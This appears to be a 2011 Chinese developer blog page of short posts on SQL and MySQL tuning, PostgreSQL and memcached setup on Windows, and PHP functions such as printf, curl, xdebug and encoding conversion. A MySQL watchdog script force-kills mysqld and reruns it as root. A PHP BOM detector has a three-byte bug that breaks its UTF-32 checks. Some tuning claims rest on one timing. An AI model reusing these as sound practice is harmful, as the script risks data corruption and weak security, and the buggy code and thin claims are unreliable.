15.索引并不是越多越好,索引固然可以提高相应的 select 的效率,但同时也降低了 insert 及 update 的效率,因为 insert 或 update 时有可能会重建索引,所以怎样建索引需要慎重考虑,视具体情况而定。一个表的索引数最好不要超过6个,若太多则应考虑一些不常使用到的列上建的索引是否有必要。

16.应尽可能的避免更新 clustered 索引数据列,因为 clustered 索引数据列的顺序就是表记录的物理存储顺序,一旦该列值改变将导致整个表记录的顺序的调整,会耗费相当大的资源。若应用系统需要频繁更新 clustered 索引数据列,那么需要考虑是否应将该索引建为 clustered 索引。

17.尽量使用数字型字段,若只含数值信息的字段尽量不要设计为字符型,这会降低查询和连接的性能,并会增加存储开销。这是因为引擎在处理查询和连接时会逐个比较字符串中每一个字符,而对于数字型而言只需要比较一次就够了。

18.尽可能的使用 varchar/nvarchar 代替 char/nchar ,因为首先变长字段存储空间小,可以节省存储空间,其次对于查询来说,在一个相对较小的字段内搜索效率显然要高些。

19.任何地方都不要使用 select * from t ,用具体的字段列表代替“*”,不要返回用不到的任何字段。

20.尽量使用表变量来代替临时表。如果表变量包含大量数据,请注意索引非常有限(只有主键索引)。

21.避免频繁创建和删除临时表,以减少系统表资源的消耗。

22.临时表并不是不可使用,适当地使用它们可以使某些例程更有效,例如,当需要重复引用大型表或常用表中的某个数据集时。但是,对于一次性事件,最好使用导出表。

23.在新建临时表时,如果一次性插入数据量很大,那么可以使用 select into 代替 create table,避免造成大量 log ,以提高速度;如果数据量不大,为了缓和系统表的资源,应先create table,然后insert。

24.如果使用到了临时表,在存储过程的最后务必将所有的临时表显式删除,先 truncate table ,然后 drop table ,这样可以避免系统表的较长时间锁定。

25.尽量避免使用游标,因为游标的效率较差,如果游标操作的数据超过1万行,那么就应该考虑改写。

26.使用基于游标的方法或临时表方法之前,应先寻找基于集的解决方案来解决问题,基于集的方法通常更有效。

27.与临时表一样,游标并不是不可使用。对小型数据集使用 FAST_FORWARD 游标通常要优于其他逐行处理方法,尤其是在必须引用几个表才能获得所需的数据时。在结果集中包括“合计”的例程通常要比使用游标执行的速度快。如果开发时间允许,基于游标的方法和基于集的方法都可以尝试一下,看哪一种方法的效果更好。

28.在所有的存储过程和触发器的开始处设置 SET NOCOUNT ON ,在结束时设置 SET NOCOUNT OFF 。无需在执行存储过程和触发器的每个语句后向客户端发送 DONE_IN_PROC 消息。

29.尽量避免大事务操作,提高系统并发能力。

30.尽量避免向客户端返回大数据量,若数据量过大,应该考虑相应需求是否合理。


> sql优化方法

1、使用索引来更快地遍历表。

  缺省情况下建立的索引是非群集索引,但有时它并不是最佳的。在非群集索引下,数据在物理上随机存放在数据页上。合理的索引设计要建立在对各种查询的分析和预测上。一般来说:

  a.有大量重复值、且经常有范围查询( > ,< ,> =,< =)和order by、group by发生的列,可考虑建立群集索引;

  b.经常同时存取多列,且每列都含有重复值可考虑建立组合索引;

  c.组合索引要尽量使关键查询形成索引覆盖,其前导列一定是使用最频繁的列。索引虽有助于提高性能但不是索引越多越好,恰好相反过多的索引会导致系统低效。用户在表中每加进一个索引,维护索引集合就要做相应的更新工作。

2、在海量查询时尽量少用格式转换。

3、ORDER BY和GROPU BY:使用ORDER BY和GROUP BY短语,任何一种索引都有助于SELECT的性能提高。

4、任何对列的操作都将导致表扫描,它包括数据库教程函数、计算表达式等等,查询时要尽可能将操作移至等号右边。

5、IN、OR子句常会使用工作表,使索引失效。如果不产生大量重复值,可以考虑把子句拆开。拆开的子句中应该包含索引。

6、只要能满足你的需求,应尽可能使用更小的数据类型:例如使用MEDIUMINT代替INT

7、尽量把所有的列设置为NOT NULL,如果你要保存NULL,手动去设置它,而不是把它设为默认值。

8、尽量少用VARCHAR、TEXT、BLOB类型

9、如果你的数据只有你所知的少量的几个。最好使用ENUM类型

10、正如graymice所讲的那样,建立索引。

 

posted @ 2011-08-13 15:50 jadmin 阅读(111) | 评论 (0)编辑 收藏

SELECT * FROM table LIMIT [offset,] rows | rows OFFSET offset

LIMIT子句可以被用于强制SELECT语句返回指定的记录数。LIMIT接受一个或两个数字参数,参数必须是一个整数常量。
如果给定两个参数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。
初始记录行的偏移量是0(而不是1):为了与 PostgreSQL 兼容,MySQL 也支持句法: LIMIT # OFFSET #。

mysql> SELECT * FROM table LIMIT 5, 10;  // 检索记录行 6-15

//为了检索从某一个偏移量到记录集的结束所有的记录行,可以指定第二个参数为 -1:
mysql> SELECT * FROM table LIMIT 95, -1; // 检索记录行 96-last.

//如果只给定一个参数,它表示返回最大的记录行数目:
mysql> SELECT * FROM table LIMIT 5;      //检索前 5 个记录行

//换句话说,LIMIT n 等价于 LIMIT 0,n。

sql-1.
SELECT * FROM table WHERE id >= (
    SELECT MAX(id) FROM (
       SELECT id FROM table ORDER BY id limit 90001
    ) AS tmp
) limit 100;

sql-2.
SELECT * FROM table WHERE id >= (
    SELECT MAX(id) FROM (
       SELECT id FROM table ORDER BY id limit 90000, 1
    ) AS tmp
) limit 100;

同样是取90000条后100条记录,第1句快还是第2句快?
第1句是先取了前90001条记录,取其中最大一个id值作为起始标识,然后利用它可以快速定位下100条记录
第2句择是仅仅取90000条记录后1条,然后取id值作起始标识定位下100条记录
第1句执行结果.100 rows in set (0.23) sec
第2句执行结果.100 rows in set (0.19) sec

很明显第2句胜出.看来limit好像并不完全像我之前想象的那样做全表扫描返回limit offset+length条记录,
这样看来limit比起MS-SQL的Top性能还是要提高不少的.

其实sql-2完全可以简化成:

SELECT * FROM table WHERE id >= (
    SELECT id FROM table limit 90000, 1
) limit 100;

直接利用第90000条记录的id,不用经过MAX函数运算,这样做理论上效率因该高一些,但在实际使用中几乎看不到效果,
因为本身定位id返回的就是1条记录,MAX几乎不用运作就能得到结果,但这样写更清淅明朗,省去了画蛇那一足.

可是,既然MySQL有limit可以直接控制取出记录的位置,为什么不干脆用SELECT id FROM table limit 90000, 1呢?岂不更简洁?

 

posted @ 2011-08-13 15:47 jadmin 阅读(112) | 评论 (0)编辑 收藏

tmp_table_size = 500mb //临时表大小设置

//指定用于索引的缓冲区大小,增加它可得到更好的索引处理性能。
//对于内存在4GB左右的服务器该参数可设置为256M或384M。
//注意:该参数值设置的过大反而会是服务器整体效率降低!
key_buffer_size = 384m

sort_buffer_size = 17mb //排序缓存

read_buffer_size=4m //读取缓存

table_cache=256 //表缓存

ft_min_word_len //全文搜索

query_cache_size 查询缓存

<?
#!/bin/sh
#######检查mysql状态
PORT=`netstat -na | grep "LISTEN" | grep "3306" | awk '{print $4}' | awk -F. '{print $2}'`
if [ "$PORT" -eq "3306" ]
        then
#######检查mysql占CPU负载
        mysql_cpu=`top -U root -b -n 1 | grep mysql | awk '{print $10}'|awk -F. '{print $1}'`
##如果mysql cpu负载大于80,则重启mysql
        if [ "$mysql_cpu" -ge "80" ]
                then
                ps xww |grep 'bin/mysqld_safe' |grep -v grep | awk '{print $1}' | xargs kill -9
                ps xww |grep 'libexec/mysqld' |grep -v grep | awk '{print $1}' | xargs kill -9
                sleep 5
                /usr/local/mysql/bin/mysqld_safe --user=root > /dev/null &
        else
                exit 0
        fi
else
         /usr/local/mysql/bin/mysqld_safe --user=root > /dev/null &
fi
?>

影响列数: 4999 (查询花费 0.1756 秒)
UPDATE `jobs_faces` SET postime = '1250784000' WHERE jid <505000 AND jid >500000

jobs_faces字段
字段 类型 整理 属性 Null 默认 额外 操作
jid int(10)   UNSIGNED 否  auto_increment              
oid int(10)   UNSIGNED 否 0               
cid mediumint(8)   UNSIGNED 否 0               
requests smallint(4)   UNSIGNED 否 0               
views mediumint(6)   UNSIGNED 是 0               
checked tinyint(1)   UNSIGNED 否 0               
istoped tinyint(1)   UNSIGNED 否 0               
postime int(10)   UNSIGNED 否 0               
losetime int(10)   UNSIGNED 否 0               
toped tinyint(1)   UNSIGNED 否 0               
toptime int(10)   UNSIGNED 否 0               
bold tinyint(1)   UNSIGNED 否 0               
highlight varchar(7) gbk_chinese_ci  否                
lightime int(10)   UNSIGNED 否 0               
people smallint(4)   UNSIGNED 否 0               
sex tinyint(1)   UNSIGNED 否 0               
djobskinds varchar(30) gbk_chinese_ci  否                
jname varchar(60) gbk_chinese_ci  否

影响列数: 4999 (查询花费 0.2393 秒)
UPDATE `jobs_faces` SET postime = '1250784000' WHERE jid <455000 AND jid >450000

posted @ 2011-08-13 15:45 jadmin 阅读(109) | 评论 (0)编辑 收藏

注意:要把php.ini中 extension=php_mbstring.dll 前的;号去掉,重启apache就可以了。
我创建三个文件:text1.txt   text2.txt   text3.txt
分别以ASCII  UTF-8  UNICODE 的编码方式保存

 

<?php
define ('UTF32_BIG_ENDIAN_BOM',  chr(0x00) . chr(0x00) . chr(0xFE) . chr(0xFF));
define ('UTF32_LITTLE_ENDIAN_BOM',  chr(0xFF) . chr(0xFE) . chr(0x00) . chr(0x00));
define ('UTF16_BIG_ENDIAN_BOM',  chr(0xFE) . chr(0xFF));
define ('UTF16_LITTLE_ENDIAN_BOM', chr(0xFF) . chr(0xFE));
define ('UTF8_BOM',  chr(0xEF) . chr(0xBB) . chr(0xBF));

function detect_utf_encoding($text) {
    $first2 = substr($text, 0, 2);
    $first3 = substr($text, 0, 3);
    $first4 = substr($text, 0, 3);
   
    if ($first3 == UTF8_BOM) return 'UTF-8';
    elseif ($first4 == UTF32_BIG_ENDIAN_BOM) return 'UTF-32BE';
    elseif ($first4 == UTF32_LITTLE_ENDIAN_BOM) return 'UTF-32LE';
    elseif ($first2 == UTF16_BIG_ENDIAN_BOM) return 'UTF-16BE';
    elseif ($first2 == UTF16_LITTLE_ENDIAN_BOM) return 'UTF-16LE';
}

function getFileEncoding($str){
    $encoding=mb_detect_encoding($str);
    if(empty($encoding)){
        $encoding=detect_utf_encoding($str);
    }
    return $encoding;
}

$file = 'text1.txt';
echo getFileEncoding(file_get_contents($file));  // 输出ASCII
echo '<br />';

$file = 'text2.txt';
echo getFileEncoding(file_get_contents($file));  // 输出UTF-8
echo '<br />';


$file = 'text3.txt';
echo getFileEncoding(file_get_contents($file));  // 输出UTF-16LE
echo '<br />';
?>


posted @ 2011-08-12 20:16 jadmin 阅读(157) | 评论 (0)编辑 收藏

1. 下载PostgreSQL数据库zip版本

2.  解压到D盘,例如:D:\database\postgresql

3.  cmd窗口进入D:\database\postgresq\bin,依次执行如下命令:
set PGHOME=D:\database\postgresq
set PGDATA=%PGHOME%\data
set PGLIB=%PGHOME%\lib
set PGHOST=localhost
set PATH=%PGHOME%\bin;%PATH%

4.  添加用户

> 添加windows用户,用于启动PostgreSQL的windows服务

D:\database\postgresql>net user postgres pgsqlpw /add /expires:never /passwordchg:no

> 为保证安全,此用户不允许本地登录
D:\database\postgresql>net localgroup users postgres /del

> 赋于windows用户postgres访问PostgreSQL安装目录的权限
D:\database\postgresql>cacls . /T /E /P postgres:R

5.  初始化数据库

> 切换到windows用户postgres的命令行环境
D:\database\postgresql>runas /noprofile /env /user:postgres "cmd"

> 初始化数据库,若不使用-U admin,则数据库里自动添加当前windows用户(即postgres)为数据库帐号
D:\database\postgresql>bin\initdb -D "D:\database\postgresql\data" -E UTF-8  --locale=chs -A md5 -U admin -W



6. 启动PostgreSQL服务:
pg_ctl -D D:\database\postgresql\data -l  D:\database\postgresql\pglog.txt start



7. 创建并连接数据库:
createdb test
psql -h localhost -w -d test



8. 关闭PostgreSQL服务:
pg_ctl -D  D:\database\postgresql\data stop

9. 注册为Windows服务:

> 注册为windows服务,当前windows用户(即postgres)将作为PostgreSQL服务的登录用户
D:\pgsql>bin\pg_ctl register -N PostgreSQL  -D “D:\database\postgresql\data

> 启动PostgreSQL服务
D:\pgsql> sc start PostgreSQL

 

 

posted @ 2011-08-11 20:46 jadmin 阅读(223) | 评论 (0)编辑 收藏

postgres=# select uuid_generate_v1();
uuid_generate_v1
--------------------------------------
86811bd4-22a5-11df-b00e-ebd863f5f8a7
(1 row)

postgres=# select uuid_generate_v4();
uuid_generate_v4
--------------------------------------
5edbfcbb-1df8-48fa-853f-7917e4e346db
(1 row)

主要就是uuid_generate_v1和uuid_generate_v4,当然还有uuid_generate_v3和uuid_generate_v5。

其他使用可以参见PostgreSQL官方文档 http://www.postgresql.org/docs/8.3/static/uuid-ossp.html


posted @ 2011-08-05 18:20 jadmin 阅读(578) | 评论 (0)编辑 收藏

> memcache介绍
Memcached是一个高性能的分布式内存对象缓存系统,用于动态Web应用以减轻数据库负载。它通过在内存中缓存数据和对象来减少读取数据库的次数,从而提供动态、数据库驱动网站的速度。Memcached基于一个存储键/值对的hashmap。其守护进程(daemon )是用C写的,但是客户端可以用任何语言来编写,并通过memcached协议与守护进程通信。但是它并不提供冗余(例如,复制其hashmap条目);当某个服务器S停止运行或崩溃了,所有存放在S上的键/值对都将丢失。


Memcached官方:http://danga.com/memcached/

> memcache下载安装
下载Windows的Server端,下载地址:http://code.jellycan.com/memcached/

安装Memcache Server(也可以不安装直接启动)
1. 下载memcached的windows稳定版,解压放某个盘下面,比如在c:\memcached
2. 在CMD下输入 "c:\memcached\memcached.exe -d install" 安装.
3. 再输入:"c:\memcached\memcached.exe -d start" 启动。NOTE: 以后memcached将作为windows的一个服务每次开机时自动启动。这样服务器端已经安装完毕了。

如果下载的是二进制的版本,直接运行就可以了,可以加上参数来加以设置。

常用设置:
-p <num>          监听的端口
-l <ip_addr>      连接的IP地址, 默认是本机
-d start          启动memcached服务
-d restart        重起memcached服务
-d stop|shutdown  关闭正在运行的memcached服务
-d install        安装memcached服务
-d uninstall      卸载memcached服务
-u <username>     以<username>的身份运行 (仅在以root运行的时候有效)
-m <num>          最大内存使用,单位MB。默认64MB
-M                内存耗尽时返回错误,而不是删除项
-c <num>          最大同时连接数,默认是1024
-f <factor>       块大小增长因子,默认是1.25
-n <bytes>        最小分配空间,key+value+flags默认是48
-h                显示帮助

然后就可以用java的memcached客户端来试一下了。

posted @ 2011-08-01 10:41 jadmin 阅读(88) | 评论 (0)编辑 收藏

1 echo()
可以同时输出多个字符串,可以多个参数,并不需要圆括号,无返回值。

2 print()
只可以同时输出一个字符串,一个参数,需要圆括号,有返回值,当其执行失败时返flase .    print 的用法和C语言很像,所以会对输出内容里的%做特殊解释。
$a=print('hi');
echo $a;
//----------------------------
hi 1   //1是$a的值。
//-----------------------------

3 die();  // 和exit()区别。
有两个功能:先输出内容,然后退出程序。(常用在链接服务器,数据库)
mysql_connect("locahost","root","root") or die("链接服务器失败!");

4 printf();    //f指format格式化
printf("参数1",参数2):
参数1=按什么格式输出;参数2=输出的变量。
(%s:按字符串;%d:按整型;%b:按二进制;%x:按16进制;%X:按16进制大写输出;%o:按八进制; %f:按浮点型)

对于参数1,其格式如下:
%[ 'padding_character][-][width][.precision]type

说明:
所有转换都以%开头,如果想打印一个%,则必须用“%%”;
参数padding_character是可选的,用来填充变量直至指定的宽度,如:printf ("$%'a10.2f" , 43.2); //$aaaaa43.20,默认是填充一个空格,如果指定了一个空格或0就不需要使用“'”做为前缀。对于任何其它前缀则必须指定单引号。
【-】是可选的,添加它则表明数据应该左对齐。而不是默认的右对齐,如上例加一个-则为:printf ("$%'a-10.2f" , 43.2); //$43.20aaaaa
whidth 表示在这里为将被替换的变量留下多少空间(按字符计算)。如上例的10(包括小数点).
precision则必须是一个小数点开始,表示小数位后面要显示的位数。

函数,返回输出字符个数,把文字格式化以后输出,如:

printf ("$%01.2f" , 43.2); //$43.20

$表示填充的字符

0表示位数不够在不影响原值的情况下补0
1表示输出的总宽度
2表示小数位数,有四舍五入

%f 是表示显示为一个浮点数

格式化命令及说明:

%% 印出百分比符号,不转换。
%b 整数转成二进位。
%c 整数转成对应的 ASCII 字符。 如:printf ("$%c" , 65); // 输出:A
%d 整数转成十进位。 如:printf ("$%d" , 65.53); // 输出:65
%f 倍精确度数字转成浮点数。
%o 整数转成八进位。
%s 整数转成字符串。
%x 整数转成小写十六进位。
%X 整数转成大写十六进位

对于printf(),还可以使用带序号并以$符号结束的参数方式来指定参数转换的顺序。如:
printf ("the total is $%2$.2f and subtotal: %1$.2f" , 65.55,37.2); //the total is $37.20 and subtotal: 65.55
如上:%2$.2f指定了使用第二个参数65.55,%1$.2f则指定用第一个参数37.20。

   <?php
     $num=100.001;
     printf("%d",$num); //100
     printf("%s",$num); //100.001
     printf("%s---%d---%b---%x---%o---%f",$num,$num,$num,$num,$num,$num)
     //100.001---100---1100100---64---144---1001.00100
     printf("%.2f",$num); //100.00 (小数点保留2位)
     printf("%.1f",$num); //100.0 (小数点保留1位)
     printf("%`#10s",$num); // #10s
     printf("%#10s",$num); //10s
   ?>

5 sprintf();
此并不能直接输出,先赋给一个变量,然后再输出变量。
<?php
$num=100.001;
$a=sprintf("%d",$num);
echo $a; //100
?>

6 print_r();
功能:只用于输出数组。
$a = array (1, 2, array ("a", "b", "c"));
print_r ($a);

返回:
Array ( [0] => 1 [1] => 2 [2] => Array ( [0] => a [1] => b [2] => c ) )

7 var_dump();
功能: 输出变量的内容,类型或字符串的内容,类型,长度。常用来调试。
<?php
$a=100;
var_dump($a); //int(100)

$a=100.356;
var_dump($a); //float(100.356)
?>

8.var_export ();
返回关于传递给该函数的变量的结构信息,它和 var_dump() 类似,不同的是其返回的表示是合法的 PHP 代码。
您可以通过将函数的第二个参数设置为 TRUE,从而返回变量的值。
<?php
$a = array (1, 2, array ("a", "b", "c"));
var_export ($a);
/* 输出:
array (
0 => 1,
1 => 2,
2 =>
array (
   0 => 'a',
   1 => 'b',
   2 => 'c',
),
)
*/

$b = 3.1;
$v = var_export($b, TRUE);
echo $v;
/* 输出:
3.1
*/
?>

posted @ 2011-07-26 10:09 jadmin 阅读(75) | 评论 (0)编辑 收藏

mb_convert_encoding这个函数是用来转换编码的。原来一直对程序编码这一概念不理解,不过现在好像有点开窍了。
不过英文一般不会存在编码问题,只有中文数据才会有这个问题。比如你用Zend Studio或Editplus写程序时,用的是gbk编码,如果数据需要入数据库,而数据库的编码为utf8时,这时就要把数据进行编码转换,不然进到数据库就会变成乱码。

mb_convert_encoding的用法见官方:
http://cn.php.net/manual/zh/function.mb-convert-encoding.php

做一个GBK To UTF-8
< ?php
header("content-Type: text/html; charset=Utf-8");
echo mb_convert_encoding("妳係我的友仔", "UTF-8", "GBK");
?>

再来个GB2312 To Big5
< ?php
header("content-Type: text/html; charset=big5");
echo mb_convert_encoding("你是我的朋友", "big5", "GB2312");
?>
不过要使用上面的函数需要安装但是需要先enable mbstring 扩展库。

PHP中的另外一个函数iconv也是用来转换字符串编码的,与上函数功能相似。

下面还有一些详细的例子:
iconv — Convert string to requested character encoding
(PHP 4 >= 4.0.5, PHP 5)
mb_convert_encoding — Convert character encoding
(PHP 4 >= 4.0.6, PHP 5)

用法:
string mb_convert_encoding ( string str, string to_encoding [, mixed from_encoding] )
需要先enable mbstring 扩展库,在 php.ini里将; extension=php_mbstring.dll 前面的 ; 去掉
mb_convert_encoding 可以指定多种输入编码,它会根据内容自动识别,但是执行效率比iconv差太多;

string iconv ( string in_charset, string out_charset, string str )
注意:第二个参数,除了可以指定要转化到的编码以外,还可以增加两个后缀://TRANSLIT 和 //IGNORE,其中 //TRANSLIT 会自动将不能直接转化的字符变成一个或多个近似的字符,//IGNORE 会忽略掉不能转化的字符,而默认效果是从第一个非法字符截断。
Returns the converted string or FALSE on failure.

使用:
发现iconv在转换字符”—”到gb2312时会出错,如果没有ignore参数,所有该字符后面的字符串都无法被保存。不管怎么样,这个”—”都无法转换成功,无法输出。 另外mb_convert_encoding没有这个bug.

一般情况下用 iconv,只有当遇到无法确定原编码是何种编码,或者iconv转化后无法正常显示时才用mb_convert_encoding 函数.

from_encoding is specified by character code name before conversion. it can be array or string - comma separated enumerated list. If it is not specified, the internal encoding will be used.
/* Auto detect encoding from JIS, eucjp-win, sjis-win, then convert str to UCS-2LE */
$str = mb_convert_encoding($str, “UCS-2LE”, “JIS, eucjp-win, sjis-win”);
/* “auto” is expanded to “ASCII,JIS,UTF-8,EUC-JP,SJIS” */
$str = mb_convert_encoding($str, “EUC-JP”, “auto”);

例子:
$content = iconv(”GBK”, “UTF-8″, $content);
$content = mb_convert_encoding($content, “UTF-8″, “GBK”);

posted @ 2011-07-23 13:01 jadmin 阅读(93) | 评论 (0)编辑 收藏

选择【Window】菜单
Preferences ——>General——>Editors——>Text Editors——>Hyperlinking



posted @ 2011-07-22 10:17 jadmin 阅读(174) | 评论 (0)编辑 收藏

<?php
$photo  = 'http://www.xxx.com/uploads/5908618d80559a594164d984c5ca2b01_32.png';
if ($photo) {
        $http = new HttpRequest($photo, HTTP_METH_GET);
        try {
                $http->send();
        } catch(Exception $e) {
                try {
                        $http->send();
                } catch (Exception $e) {
                        try {
                                $http->send();
                        } catch (Exception $e) {
                                echo 'error occured while loading file.';
                                exit;
                        }
                }
        }
        if ($http->getResponseCode() == 200) {
                $header = $http->getResponseHeader();
                if (strstr($header['Content-Type'], 'image') !== FALSE) {
                     echo base64_encode($http->getResponseBody());
                }
        }
}
?>

posted @ 2011-07-22 09:45 jadmin 阅读(100) | 评论 (0)编辑 收藏

今天在MySQL中建立了一张表,其中一个字段是order,通过jdbc往里面插数据一直报错,好长时间找不到原因

结果把order字段的名称改成别的,居然成功插入数据,看来是MySQL字段列名不能使用insert、order等关键字


posted @ 2011-07-12 20:40 jadmin 阅读(97) | 评论 (0)编辑 收藏

> 添加curl扩展

1.在C\windows里的php.ini中我打开了extension=php_curl.dll的功能

2.把php目录中的libeay32.dll,ssleay32.dll拷到c:\windows\system32里

3.重新启动Apache

> 代码

<?php
   //初始化curl
   $ch = curl_init() or die (curl_error());
   echo "Test for searching 'php' in baidu.";
   //设置URL参数
   curl_setopt($ch,CURLOPT_URL,"http://www.baidu.com/s?wd=php");
   //要求CURL返回数据
   curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
   //执行请求
   $result = curl_exec($ch) or die (curl_error());
   //取得返回的结果,并显示
   echo $result;
   echo curl_error($ch);
   //关闭CURL
   curl_close($ch);
?>

> 效果

>CURL函数库(Client URL Library Function)

curl_close — 关闭一个curl会话
curl_copy_handle — 拷贝一个curl连接资源的所有内容和参数
curl_errno — 返回一个包含当前会话错误信息的数字编号
curl_error — 返回一个包含当前会话错误信息的字符串
curl_exec — 执行一个curl会话
curl_getinfo — 获取一个curl连接资源句柄的信息
curl_init — 初始化一个curl会话
curl_multi_add_handle — 向curl批处理会话中添加单独的curl句柄资源
curl_multi_close — 关闭一个批处理句柄资源
curl_multi_exec — 解析一个curl批处理句柄
curl_multi_getcontent — 返回获取的输出的文本流
curl_multi_info_read — 获取当前解析的curl的相关传输信息
curl_multi_init — 初始化一个curl批处理句柄资源
curl_multi_remove_handle — 移除curl批处理句柄资源中的某个句柄资源
curl_multi_select — Get all the sockets associated with the cURL extension, which can then be "selected"
curl_setopt_array — 以数组的形式为一个curl设置会话参数
curl_setopt — 为一个curl设置会话参数
curl_version — 获取curl相关的版本信息


关键词:php抓取   php库函数   curl   php常用函数


posted @ 2011-07-08 18:19 jadmin 阅读(105) | 评论 (0)编辑 收藏

> 函数date(format,timestamp)
format         必需。规定时间戳的格式。
timestamp      可选。规定时间戳。默认是当前的日期和时间。
<?php
echo date("Y/m/d");
echo "<br />";
echo date("Y.m.d");
echo "<br />";
echo date("Y-m-d");
?>

> 格式化当前时间

<?php echo $showtime=date("Y-m-d H:i:s");?>
显示的格式: 年-月-日 小时:分钟:妙
相关时间参数:
a - "am" 或是 "pm"
A - "AM" 或是 "PM"
d - 几日,二位数字,若不足二位则前面补零; 如: "01" 至 "31"
D - 星期几,三个英文字母; 如: "Fri"
F - 月份,英文全名; 如: "January"
h - 12 小时制的小时; 如: "01" 至 "12"
H - 24 小时制的小时; 如: "00" 至 "23"
g - 12 小时制的小时,不足二位不补零; 如: "1" 至 12"
G - 24 小时制的小时,不足二位不补零; 如: "0" 至 "23"
i - 分钟; 如: "00" 至 "59"
j - 几日,二位数字,若不足二位不补零; 如: "1" 至 "31"
l - 星期几,英文全名; 如: "Friday"
m - 月份,二位数字,若不足二位则在前面补零; 如: "01" 至 "12"
n - 月份,二位数字,若不足二位则不补零; 如: "1" 至 "12"
M - 月份,三个英文字母; 如: "Jan"
s - 秒; 如: "00" 至 "59"
S - 字尾加英文序数,二个英文字母; 如: "th","nd"
t - 指定月份的天数; 如: "28" 至 "31"
U - 总秒数
w - 数字型的星期几,如: "0" (星期日) 至 "6" (星期六)
Y - 年,四位数字; 如: "1999"
y - 年,二位数字; 如: "99"
z - 一年中的第几天; 如: "0" 至 "365"

 

关键词: php学习   php教程  php格式化时间   php函数  date()

 

posted @ 2011-07-08 14:58 jadmin 阅读(103) | 评论 (0)编辑 收藏

C:\windows\php.ini

extension=php_xdebug.dll
xdebug.profiler_enable=on
xdebug.trace_output_dir="C:/www/test/xdebug"
xdebug.profiler_output_dir="C:/www/test/xdebug"

 

xdebug.default_enable = On
xdebug.show_exception_trace = On // 设置为On后,即使捕捉到异常,代码行仍将强制执行异常跟踪.
xdebug.show_local_vars = 1    // 将打印每个函数调用的最外围中的所有局部变量,包括尚未初始化的变量
xdebug.max_nesting_level = 50
xdebug.var_display_max_depth = 6 // 表示转储复杂变量的深度.

xdebug.dump_once = On
xdebug.dump_globals = On

// 如果进一步将 xdebug.dump_undefined 设为 On 并且不设定指定的超全局变量,则仍用值 undefined 打印变量.
xdebug.dump_undefined = On
xdebug.dump.REQUEST = *

// 将打印 PHP 超全局变量 $_SERVER['REQUEST_METHOD']、$_SERVER['REQUEST_URI'] 和 $_SERVER['HTTP_USER_AGENT'].
xdebug.dump.SERVER = REQUEST_METHOD,REQUEST_URI,HTTP_USER_AGENT

xdebug.trace_format  设为 0则输出将符合人类阅读习惯(将参数设为 1 则为机器可读格式).
xdebug.show_mem_delta = 1 则可以查看内存使用量是在增加还是在减少,    
xdebug.collect_params = 4 则可以查看传入参数的类型和值.要监视每个函数返回的值,请设定 xdebug.collect_return = 1.

PHP Warning:  Xdebug MUST be loaded as a Zend extension in Unknown on line 0 出错解决

;extension=php_xdebug.dll
zend_extension_ts="C:/php/ext/php_xdebug.dll"      //以zend方式加载
xdebug.profiler_enable=on
xdebug.trace_output_dir="C:/www/test/xdebug"
xdebug.profiler_output_dir="C:/www/test/xdebug"

 

posted @ 2011-07-07 14:31 jadmin 阅读(132) | 评论 (0)编辑 收藏

比如当前文件是放在(d:\www\)下,文件名是test.php。

<?php   echo __FILE__ ; // 取得当前文件的绝对地址,结果:D:\www\test.php   echo dirname(__FILE__); // 取得当前文件所在的绝对目录,结果:D:\www\   echo dirname(dirname(__FILE__)); //取得当前文件的上一层目录名,结果:D:\?>

使用方法提示,
dirname(__FILE__) 取到的是当前文件的绝对路径,也就是说,比起相对路径,查找速度是最快的。
如果重复一次可以把目录往上提升一个层次:
比如:$d = dirname(dirname(__FILE__));
其实就是把一个目录给dirname()做参数了.因为dirname()返回最后的目录不带\\或者是/
所以重复使用的时候可以认为 dirname() 把最下层的目录当成文件名来处理了.照常返回
当前目录的上级目录.这样重复就得到了它的上一级的目录.

包含得到上一级目录的文件
include(dirname(__FILE__).’/../filename.php’);

posted @ 2011-07-07 13:18 jadmin 阅读(91) | 评论 (0)编辑 收藏

本文主要介绍PHP5.2.11 + Apache2.2.19 + MySQL5.1.45的PHP集成运行环境的搭建(Windows XP SP3操作系统环境)

> 安装并配置APACHE(安装到C:\apache)

   1、安装时默认安装,Network Domain, Server Name 我填写我的计算机名,Administrator's Email Address区域填你的邮件地址
   2、安装完后在安装目录下有个conf文件夹,打开httpd.conf文件进行配置
        ·找到 DocumentRoot ,将其设置为你所要存放php, htm等网页文件的文件夹,如 "D:\phpapache\Apache2.2\htdocs";
        ·找到 DirectoryIndex ,在index.html后添加index.php, index.htm等,以单个空格将其分开;
        ·重启Apache,用http://localhosthttp://127.0.0.1http://yourcompanyname测试是否成功。成功的话屏幕会有个It works!

> 安装配置PHP(解压PHP压缩包到C:\php)

   1、将php.ini-recommended文件重命名为php.ini并将其剪到系统所在目录下(如放在2000/NT的WINNT, XP的Windows目录下),
   2、将extension_dir 改为php/ext所在目录,如 "C:\php\ext";
   3、将doc_root 改为第一步中的同样目录,如 "C:\apache\htdocs";
   4、找到 ;session.save_path = "/tmp" ,将';'去掉,设置你保存session的目录,如session.save_path = "C:/php/tmp";
   5、然后把下面几句前面的分号去掉,以更好支持Mysql and PHPmyadmin
        extension=php_mbstring.dll
        extension=php_gd2.dll
        extension=php_mysql.dll
        extension=php_pdo.dll
        extension=php_pdo_mysql.dll

> PHP+APACHE整合

   1、允许Apache将PHP程序作为模块来运行:
           打开httpd.conf,添加下面内容(位置任意):
             LoadModule php5_module "C:/php/php5apache2_2.dll"

             AddType application/x-httpd-php .php
             AddType application/x-httpd-php .htm
            (.htm, .php为可执行php语言的扩展名,也可加html, php3, php4,甚至txt)
           (以下两步可以不需要)
   2、如果你出于某种原因而需要在CGI模式中运行PHP程序(使用Php.exe),
          请将上面这一行变成注释(各行头加#即可),添加下面这些行:
           # ScriptAlias /php/ "C:/php/"
           # AddType application/x-httpd-php .php
           #Action application/x-httpd-php "/php/php-cgi.exe"
   3、现在apache 2 支持HTML而不支持PHP,先把下面几句加到C:\apache\conf\httpd.conf去:
           # ScriptAlias /php/ "C:/php/"
           # AddType application/x-httpd-php .php
           #Action application/x-httpd-php "/php/php-cgi.exe"

> 重启服务,测试环境

   1、在C:\php里找到php5ts.dll,libmysql.dll将其复制到C:\winnt\system32下(winNT/2000的机器),而winXP/2003是复制到C:\windows\system32下
   2、测试Apache与php是否连接成功:
          启动start apache服务或者正在运行的就重新启动restart apache
   3、在Web根目录下新建test.php(即C:\apache\htdocs目下)
           <html>
           <head><title>test</title></head>
           <body>
            <?php
              phpinfo();
            ?>
         </body>
          </html>

   4、运行http://localhost/test.php
